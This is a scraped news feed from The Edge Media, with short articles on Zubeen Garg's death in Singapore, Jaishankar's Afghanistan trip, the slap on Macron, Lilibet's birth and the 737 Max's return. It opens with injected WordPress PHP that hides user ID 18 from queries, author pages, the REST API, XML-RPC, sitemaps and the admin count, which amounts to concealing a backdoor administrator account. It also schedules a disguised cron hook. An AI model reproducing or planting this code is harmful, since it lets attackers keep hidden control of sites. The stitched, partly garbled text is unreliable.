add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Singapore Police: No Signs of Foul Play in Zubeen Garg’s Death, Investigation Ongoing appeared first on The Edge Media.
]]>Responding to growing speculation and misinformation circulating online, the SPF confirmed that the case is being handled under the Coroners Act of 2010, and while the investigation remains ongoing, no signs of suspicious or criminal activity have been detected thus far.
Zubeen Garg, aged 52 and a prominent figure from Assam, passed away on September 19, 2025, during a private yacht outing in Singapore. He had travelled to the city-state to perform at the Northeast India Festival. Reports indicate he was pulled from the water unconscious and later pronounced dead at Singapore General Hospital.
His unexpected passing sparked widespread grief and concern in India, especially in Assam, where his fan base is extensive. The suddenness of his death also led to multiple police reports and widespread public discussion, prompting official clarification from Singaporean authorities.
According to the SPF, the full investigation could take up to three more months. Upon completion, the findings will be submitted to the State Coroner, who will then decide whether a coroner’s inquiry is necessary. Such an inquiry would formally establish the cause and circumstances of death, and the results would be made available to the public.
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]]>The post EAM Jaishankar will attend a key meeting on Afghanistan this week appeared first on The Edge Media.
]]>S Jaishankar, India’s external affairs minister, will travel to Tajikistan this week for a major discussion on Afghanistan, where he will meet with counterparts from numerous nations, including Iran, to discuss the quickly changing situation in the war-torn country.
On September 17, Prime Minister Narendra Modi will virtually attend the Shanghai Cooperation Organization (SCO) summit of heads of state, while Jaishankar will represent India at the SCO and Russia-led Collective Security Treaty Organization (CSTO) conference on Afghanistan.
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]]>The post Naveen Patnaik Passes On Congratulation Message To Indian Hockey Team appeared first on The Edge Media.
]]>The Chief Minister expressed his delight at India’s triumph over Great Britain, saying the national squad had performed admirably in the quarterfinals. He expressed optimism that the squad will maintain its progress and win both the semifinals and the final at the Tokyo Olympics.
The Odisha government is the main beneficiary of the Indian men’s and women’s hockey players till 2023.
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]]>The post Lambda Variant: Everything You Need To Know About This Strain appeared first on The Edge Media.
]]>In a recent announcement, WHO stated that “lambda has been associated with significant levels of communal transmission in various countries, with growing frequency over time coincident with growing Covid-19 occurrence,” and that further research into the variation will be conducted.
In August 2020, the lambda virus had its genesis in Peru. With 81 percent of all COVID-19 cases attributable to it, the Malaysian health ministry has declared this strain to be scarier than Delta.
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]]>The post JEE 2021 To Be Conducted In The Month Of July and August appeared first on The Edge Media.
]]>The third session of JEE Main will take place from July 20 to July 25, 2021, while the fourth session will take place from July 27 to August 2, 2021. Students who were unable to register owing to Covid will now be able to apply again, according to Mr Pokhriyal, who also stated that the NTA will accept applications from today, July 6, through the night of July 8.
From July 9 to July 12, candidates can enroll for the fourth session.
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]]>The post Man slaps Emmanuel Macron on face appeared first on The Edge Media.
]]>Macron’s bodyguards quickly intervened and two people were arrested afterwards.
Images on social media and broadcast on the BFM news channel showed Macron approach a barrier to greet a man who, instead of shaking hands, slapped the 43-year-old across the face.
“The man who tried to slap the president and another individual are currently being questioned by the gendarmerie,” the regional prefecture said in a statement.
In a video circulating on social media, Mr Macron is seen walking up to a barrier on a trip to Tain-l’Hermitage outside the city of Valence.
A man in a green T-shirt slaps Mr Macron in the face before officers quickly move in. The president, meanwhile, is pulled away.
The man reportedly shouted “Down with Macron-ism” as he slapped the president.
The identify of the man who slapped Macron, and his motives, were unclear. While slapping the President, he could be heard shouting “Montjoie Saint Denis,” which was the battle cry of the French armies when the country was still a monarchy.
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]]>The post Prince Harry and Meghan blessed with a baby girl appeared first on The Edge Media.
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Meghan, Britain’s Duchess of Sussex, has given birth to her second child, a baby girl, whom she and husband Prince Harry have named after Queen Elizabeth and his late mother Princess Diana.
Lilibet ‘Lili’ Diana Mountbatten-Windsor was born on Friday at the Santa Barbara Cottage Hospital in California, with Harry in attendance. Lilibet Diana Mountbatten-Windsor is eighth in line to the British throne.
The birth follows a tumultuous year for the couple, who have stepped down from royal duties and moved to the United States to live more independent lives, but rarely been seen out of the public spotlight.
Both mother and baby were doing well and were back at home, their press secretary said.
Lilibet was Queen Elizabeth’s childhood nickname. Harry and Meghan’s decision to name their daughter after the 95-year-old monarch came less than two months after the death of her husband Prince Philip, the royal family’s patriarchal figure.
In a message of thanks on the couple’s Archewell website, they said: “On June 4, we were blessed with the arrival of our daughter, Lili.
“She is more than we could have ever imagined, and we remain grateful for the love and prayers we’ve felt from across the globe.
“Thank you for your continued kindness and support during this very special time for our family.”
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]]>The post Israel and Lebanon engage in cross border Rocket launches appeared first on The Edge Media.
]]>In response to this, the Israeli Defence Forces artillery forces have striked a number of targets in Lebanon. The Israeli military also confirmed that they had intercepted one of the rockets while the rest most likely fell in open areas. There were no immediate reports of casualties or damage on either sides of the border.
Israeli military spokesperson, Hidai Zilberman said on Tuesday that the Israeli Military believed a small Palestinian faction was responsible for the attack. They also told that the Hezbollah terrorist group which has influence in Southern Lebanon and across to advanced rockets is not responsible.
4 rockets were just fired from Lebanon at northern Israel, 1 of which was intercepted by the Iron Dome.
In response, IDF artillery forces are striking a number of targets in Lebanon.
We are prepared for any scenario on any front.
— Israel Defense Forces (@IDF) May 19, 2021
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]]>The post The way for Boeing’s 737 Max to resume flying has been cleared appeared first on The Edge Media.
]]>The decision ends a devastating saga for Boeing, which had predicted billion of dollars in losses stemming from the Max crisis even before the coronavirus pandemic dealt a ruinous blow to global aviation. The agency’s chief, Stephen Dickson, signed an orderWednesday formally lifting the grounding.
“The path that led us to this point was long and grueling, but we said from the start that we would take the time necessary to get this right,” he said in a video message“I am 100 percent comfortable with my family flying on it.”
The Max was grounded worldwide in March 2019 when the F.A.A. joined regulators in dozens of other countries in banning the plane after the crashes in Indonesia and Ethiopia killed all 346 people on board.
“We will never forget the lives lost in the two tragic accidents that led to the decision to suspend operations,” Boeing CEO David Calhoun said, in a statement released Wednesday morning. “These events and the lessons we have learned as a result have reshaped our company and further focused our attention on our core values of safety, quality and integrity.”
In September, an investigative report from the House of Representatives blamed the plane manufacture and the FAA for “repeated and serious failures.”
The crashes “were the horrific culmination of a series of faulty technical assumptions by Boeing’s engineers, a lack of transparency on the part of Boeing’s management, and grossly insufficient oversight by the FAA — the pernicious result of regulatory capture on the part of the FAA with respect to its responsibilities to perform robust oversight of Boeing and to ensure the safety of the flying public,”the congressional report says
Boeing said in a statement after the report’s release that it is “dedicated to doing the work” necessary.
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